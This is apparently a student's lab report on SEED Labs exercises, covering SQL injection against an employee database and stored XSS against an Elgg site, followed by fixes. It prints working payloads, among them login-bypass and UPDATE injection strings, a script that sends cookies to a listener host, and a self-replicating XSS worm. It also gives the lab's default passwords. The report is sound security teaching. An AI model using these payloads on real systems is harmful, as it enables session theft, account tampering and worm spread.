20252809 2025-2026-2《网络攻防实践》实践十报告

20252809 2025-2026-2《网络攻防实践》实践十报告


1. 实践内容

本次实践围绕 Web 安全两大核心漏洞展开系统性攻防实验:

  • SQL 注入攻击与防御:基于 SEED 实验室提供的员工管理系统,深入理解 SQL 注入漏洞的成因与利用方式,包括 SELECT 语句注入绕过身份验证、UPDATE 语句注入篡改敏感数据,以及通过参数化查询(Prepared Statements)从根本上修复漏洞。
  • XSS 跨站脚本攻击与防御:以 Elgg 社交网络平台为靶场,完整实践存储型 XSS 的攻击链——从漏洞验证、Cookie 窃取、无感知操作(自动添加好友、篡改资料)到蠕虫传播,最终通过 HTMLawed 安全插件实现有效防御。

2. 实验环境准备

2.1 SEED 虚拟机部署

完成 SEED Ubuntu 虚拟机的导入与配置,确保实验环境正常运行。

image

image

2.2 安装 VMware Tools

在 Ubuntu 文件管理器中找到 VMware Tools 压缩包,复制到 home 目录后执行以下命令:

cd ~
pwd
tar -zxvf VMwareTools-10.3.26-22085142.tar.gz
cd vmware-tools-distrib
sudo ./vmware-install.pl

image

密码seed

安装过程中直接按 Enter 键接受所有默认选项,遇到 yes/no 提示时输入 yes,直到终端出现 Enjoy, --the VMware team 即表示安装成功。

安装完成后可实现:

  • 主机与虚拟机之间直接拖拽文件
  • 双向复制粘贴文本
  • 虚拟机窗口自适应分辨率

2.3 修改主机名

su -
# 密码:seedubuntu
hostname wch
hostname

image

重启虚拟机后即可显示更改后的主机名。

2.4 启动 Apache 服务

sudo service apache2 start
sudo service apache2 status

image

出现绿色的 active (running) 状态说明 Apache 服务正常运行。

2.5 登录数据库

mysql -u root -pseedubuntu

image

出现 mysql> 提示符即表示数据库连接成功。


3. 实验过程

任务一:SQL 注入与防御实验

3.1 熟悉 SQL 语法

1. 查看所有数据库

SHOW DATABASES;

注意:SQL 语句末尾必须带英文分号 ;

image

确认存在 Users 数据库(实验用的员工数据均存储于此)。

2. 切换到 Users 数据库

USE Users;

image

后续所有操作均在此数据库中执行。

3. 查看数据库中的表

SHOW TABLES;

image

确认存在 credential 表(包含 ID、姓名、薪资、密码、SSN 等敏感字段)。

4. 查询 credential 表的所有员工数据

SELECT * FROM credential;

image

查看表中所有员工的完整信息,熟悉表结构与数据格式。

5. 查询指定用户 Alice 的信息

SELECT * FROM credential WHERE Name='Alice';

image

练习条件查询,为后续注入实验做准备。

6. 查询 ID 小于等于 3 的员工信息

SELECT * FROM credential WHERE ID <= 3;

image


3.2 SELECT 语句 SQL 注入攻击

1. 退出 MySQL 命令行

EXIT;

2. 访问靶场网站

打开 SEED 虚拟机自带的 Firefox 浏览器,地址栏输入:

http://www.SEEDLabSQLInjection.com

image

进入员工系统登录页面。

3. 查看页面源代码

在页面空白处右键选择 View Page Source,查看页面源代码。

image

分析可知:登录表单通过 GET 方法将数据提交至 unsafe_home.php 处理。

4. 分析后端验证代码

cd /var/www/SQLInjection/
ls
gedit /var/www/SQLInjection/unsafe_home.php

image

image

漏洞分析:

后端代码直接将用户输入的 $input_uname 拼接到 SQL 语句中,未进行任何过滤或转义:

// 存在漏洞的代码片段
SELECT ... FROM credential WHERE name='$input_uname' AND Password='$hashed_pwd'

注入原理:

当输入 Admin'# 时,拼接后的 SQL 语句变为:

SELECT ... FROM credential WHERE name='Admin'#' AND Password='xxx'
  • ' 闭合了前面的字符串常量
  • # 是 MySQL 的单行注释符,将后续的 AND Password='xxx' 全部注释掉
  • 最终执行的 SQL 等效于 WHERE name='Admin',直接绕过了密码验证

5. 执行注入攻击

字段 输入值
用户名 Admin'#
密码 (留空)

image

点击登录后,无需输入正确密码即可直接以管理员 Admin 身份登录,成功查看到所有员工的薪资、SSN 等敏感信息,SELECT 语句的 SQL 注入攻击完成。


3.3 UPDATE 语句 SQL 注入攻击(篡改管理员薪资)

1. 用普通员工 Alice 账号登录

字段
Username Alice
Password seedalice

image

2. 进入 Edit Profile 页面

找到并进入 Edit Profile 页面(可通过 Ctrl + 鼠标滚轮 调整浏览器缩放比例以在上方显示)。

image

3. 分析后端代码

vim /var/www/SQLInjection/unsafe_edit_backend.php

image

后端直接将用户输入的 $input_nickname 拼接到 UPDATE 语句中,未做任何过滤,这正是注入利用的关键点。

4. 构造并执行 UPDATE 注入

NickName 输入框中注入:

',Salary='20252809' WHERE name='Admin';#

image

拼接后的 SQL 语句:

UPDATE credential
SET nickname='',Salary='20252809' WHERE name='Admin';#',
    email='xxx',address='xxx',PhoneNumber='xxx' WHERE ID=1;

Payload 解析:

部分 作用
' 闭合 nickname='$input_nickname' 中的单引号
,Salary='20252809' WHERE name='Admin' 注入新的 SET 子句,将 Admin 的薪资修改为 20252809
; 结束当前 SQL 语句
# 注释掉后续所有内容,避免语法错误

点击 Save 保存修改。

5. 验证篡改结果

退出 Alice 账号,使用 Admin'# 登录管理员账号,查看 Admin 的薪资信息,确认已变为 20252809

image


3.4 修复 SQL 注入漏洞

1. 打开后端代码文件

vim /var/www/SQLInjection/unsafe_edit_backend.php

2. 定位漏洞代码

/ 键,输入 UPDATE credential 并回车,跳转到两段拼接的 UPDATE 语句。

image

3. 修改为参数化查询

第一段(含密码修改):

$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, Password=?, PhoneNumber=? WHERE ID=?");
$sql->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
$sql->execute();

第二段(不含密码修改):

$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? WHERE ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();

image

Esc → 输入 :wq 回车保存修改。

4. 验证漏洞修复

  • SELECT 注入修复验证:再次输入 Admin'#(用户名),密码留空,点击 Login,发现登录失败,无法绕过验证

image

  • UPDATE 注入修复验证:用 Alice 账号登录,在 NickName 输入框再次输入之前的 Payload,点击 Save,查看 Admin 薪资不再被篡改

image

参数化查询将 SQL 代码与用户数据分离,从根本上杜绝了注入攻击的可能性。


任务二:SEED 存储型 XSS 跨站脚本攻击与防御实验

3.5 XSS 弹窗验证(漏洞存在性测试)

1. 登录 Elgg 靶场

使用 Alice 账号(密码:seedalice)登录 Elgg 靶场。

image

2. 进入个人资料编辑页面

点击账号名 AliceEdit profile 进入个人资料编辑页面。

image

3. 注入弹窗代码

Brief description 输入框注入恶意代码:

<script>alert('XSS wch successful');</script>

image

4. 验证漏洞

点击 Save 保存,页面自动刷新并弹出警告窗口,存储型 XSS 漏洞验证成功

image


1. 注入获取 Cookie 的代码

清空 Alice 的 Brief description 原有内容,注入:

<script>alert('当前用户Cookie:' + document.cookie);</script>

image

2. 验证 Cookie 获取

保存后页面弹出包含当前用户会话 Cookie 的弹窗,证明可通过 XSS 获取用户敏感会话信息。

image


1. 查看虚拟机 IP

ifconfig

image

记录本机 IP:192.168.200.10

2. 开启端口监听

在终端开启 500 端口监听,等待接收 Cookie:

nc -l 500

image

3. 注入 Cookie 窃取代码

在 Alice 的 Brief description 中注入:

<script>document.write('<img src=http://192.168.200.10:500?c='+escape(document.cookie)+'>');</script>

image

4. 触发攻击

使用 Boby 账号登录 Elgg,访问 Alice 的个人主页。

image

image

image

5. 查看监听结果

查看监听终端,成功接收 Boby 的 Cookie 信息,完成远程会话 Cookie 窃取。

image


3.8 XSS 实现自动添加好友(无感知操作)

1. 分析添加好友请求

在 Boby 账号上点击 Members,按 F12 打开开发者工具 → Network,手动添加 Alice 为好友以捕获请求信息。

image

image

2. 注入自动加好友代码

清空 Boby 的 Brief description,将 About me 切换为 Edit HTML 模式,注入:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    // 目标用户 ID(Samy 用户 ID 为 44)
    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
    Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

image

3. 验证自动加好友

登录 Samy 账号并访问 Boby 主页,发现 Samy 已与 Boby 成为好友,无需受害者干预,自动添加好友成功

image

image


3.9 XSS 自动篡改用户个人信息

1. 注入信息篡改代码

<script type="text/javascript">
window.onload = function(){
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = token + ts + "&name=" + userName + "&description=<p>已被 wch XSS 攻击篡改信息!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    // Alice 用户 ID,排除自身
    var aliceGuid = 44;
    if(elgg.session.user.guid != aliceGuid){
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

2. 验证信息篡改

使用 Boby 账号打开 Alice 主页,查看 Boby 个人资料,简介已被自动篡改,信息篡改攻击成功。

image


3.10 编写 XSS 蠕虫(自我复制与传播)

1. 构造蠕虫代码

将具备自我复制能力的 XSS 蠕虫代码放入 Alice 的 About me(Edit HTML) 并保存:

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id='worm' type='text/javascript'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = token + ts + "&name=" + userName + "&description=<p>已被 XSS 蠕虫感染!" + wormCode + "</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    // 排除蠕虫发布者 ID
    var aliceGuid = 44;
    if(elgg.session.user.guid != aliceGuid){
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

2. 验证蠕虫传播

  • Boby 访问 Alice 主页 → 被感染
  • Samy 访问 Boby 主页 → 被感染

蠕虫跨用户自动传播成功。

image


3.11 XSS 漏洞防御

1. 启用安全过滤插件

登录 Admin 账号(密码:seedelgg),点击右上角 AccountAdministrationPlugins 进入插件管理页。

image

找到 HTMLawed 安全过滤插件,点击 Activate 启用(自动过滤恶意 HTML/JS 代码)。

image

2. 防御验证

  • 经 HTMLawed 过滤后,原有恶意脚本被转义为不可执行的纯文本,浏览器仅作静态渲染
  • 再次尝试植入攻击向量,输入层即被拦截净化,无法进入后续的存储与响应流程

image


4. 学习中遇到的问题及解决

问题 1:SEED 虚拟机终端粘贴失效

现象:任务二中的 XSS 代码较长,手动输入易出错,且难以定位是步骤错误还是代码错误。

解决方案:打开 SEED 虚拟机设置,在 CD/DVD 中导入 linux.iso,按照 2.2 节流程安装 VMware Tools,重启后即可实现复制粘贴。

问题 2:XSS 攻击时 Boby 访问 Alice 主页未看到篡改内容

现象:Boby 账号访问 Alice 主页时,没有看到被篡改的简历信息。

解决方案:退出 Alice 账号或重新刷新 Alice 主页即可正常显示篡改结果。

问题 3:文件只读,无法保存(E45: 'readonly' option is set)

现象:以普通用户权限打开 /var/www/ 下的文件,无写入权限,无法保存修改。

解决方案:使用 :wq! 强制覆盖保存,或直接用 sudo vim 以管理员权限打开文件。

问题 4:权限不足无法写入(E212: Can't open file for writing)

现象:普通用户对系统目录下的文件无修改权限,即使强制保存也失败。

解决方案:改用 sudo vim /var/www/xxx.php 以管理员权限打开文件,一次性解决权限问题。


5. 实践总结

本次实验围绕 Web 安全两大核心漏洞——SQL 注入XSS 跨站脚本——展开了系统性的攻防实践。

SQL 注入部分,从最基础的 SQL 语法熟悉开始,逐步深入到 SELECT 语句注入绕过登录验证、UPDATE 语句注入篡改管理员薪资,最终通过参数化查询(Prepared Statements)彻底修复漏洞。这一过程深刻体现了"用户输入不可信"的安全原则——任何来自用户的数据都必须经过严格校验,绝不能直接拼接到 SQL 语句中。参数化查询通过将 SQL 代码与数据分离,从根本上消除了注入攻击的可能性。

XSS 攻击部分,完整体验了存储型 XSS 从简单弹窗到复杂蠕虫传播的完整攻击链。从获取 Cookie、窃取会话信息,到无感知添加好友、自动篡改资料,再到编写具备自我复制能力的 XSS 蠕虫,每一步都直观展示了 XSS 的危害。最后通过启用 HTMLawed 过滤插件进行防御,验证了"输入过滤 + 输出编码"防御策略的有效性。

核心启示:Web 安全的本质在于信任边界的把控。任何来自用户的数据都必须经过严格的验证和过滤,绝不能直接拼接到代码或 SQL 语句中。本次实践不仅掌握了具体的攻击技术与防御手段,更重要的是建立了"攻击者思维",能够从安全角度审视 Web 应用的每一个输入点和输出点。


6. 致谢

感谢《网络攻防实践》课程王老师的悉心指导与耐心解答,同时也借鉴了叶姜琪和程宇同学的实验报告,为本次实验提供了清晰的思路框架与专业的技术支持。感谢 SEED 实验室提供的完整实验环境和靶场资源,使我们能够在安全可控的条件下开展 Web 渗透测试实践。同时感谢开源社区中 MySQL、Apache、Elgg 等优秀项目的开发者与维护者,正是这些成熟可靠的技术平台,为安全研究提供了坚实的技术基础。


7. 参考资料

[1] SEED Project. SEED Labs - SQL Injection Attack Lab. https://seedsecuritylabs.org/Labs_20.04/Software/Web_SQL_Injection/

[2] SEED Project. SEED Labs - XSS Attack Lab. https://seedsecuritylabs.org/Labs_20.04/Software/Web_XSS_Elgg/

[3] OWASP. SQL Injection Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

[4] OWASP. Cross Site Scripting (XSS) Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

[5] MySQL 官方文档. Prepared Statements. https://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html

[6] Elgg 官方网站. Elgg - Open Source Social Networking Engine. https://elgg.org/

[7] 诸葛建伟, 陈力波等. 《网络攻防技术与实践》. 电子工业出版社, 2017.

posted @ 2026-05-17 01:51  dky王铖浩  阅读(37)  评论(0)    收藏  举报